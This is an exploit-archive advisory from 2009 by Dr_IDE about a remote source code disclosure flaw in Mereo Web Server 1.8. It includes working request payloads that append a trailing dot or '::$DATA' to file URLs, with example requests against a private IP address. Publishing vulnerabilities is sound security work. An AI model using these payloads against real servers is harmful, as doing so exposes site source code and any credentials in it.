Mereo Web Server 1.8 - Source Code Disclosure



EKU-ID: 17507 CVE: OSVDB-62643 OSVDB-ID:
Author: Dr_IDE Published: 2009-09-25 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#################################################################################
#
# Mereo Web Server v1.8 Multiple Remote Source Code Disclosure
# Found By:		Dr_IDE
# Tested On:	Windows XPSP3
#
#################################################################################

- Description -

Mereo Web Server v1.8 is a Windows based HTTP server. This is the latest version of
the application available.

Mereo is vulnerable to remote arbitrary source code disclosure by the following means.

- Technical Details -

	http://[ webserver IP]/[ file ][.]
	http://[ webserver IP]/[ file ][::$DATA]

	http://172.16.2.101/index.html.
	http://172.16.2.101/index.html::$DATA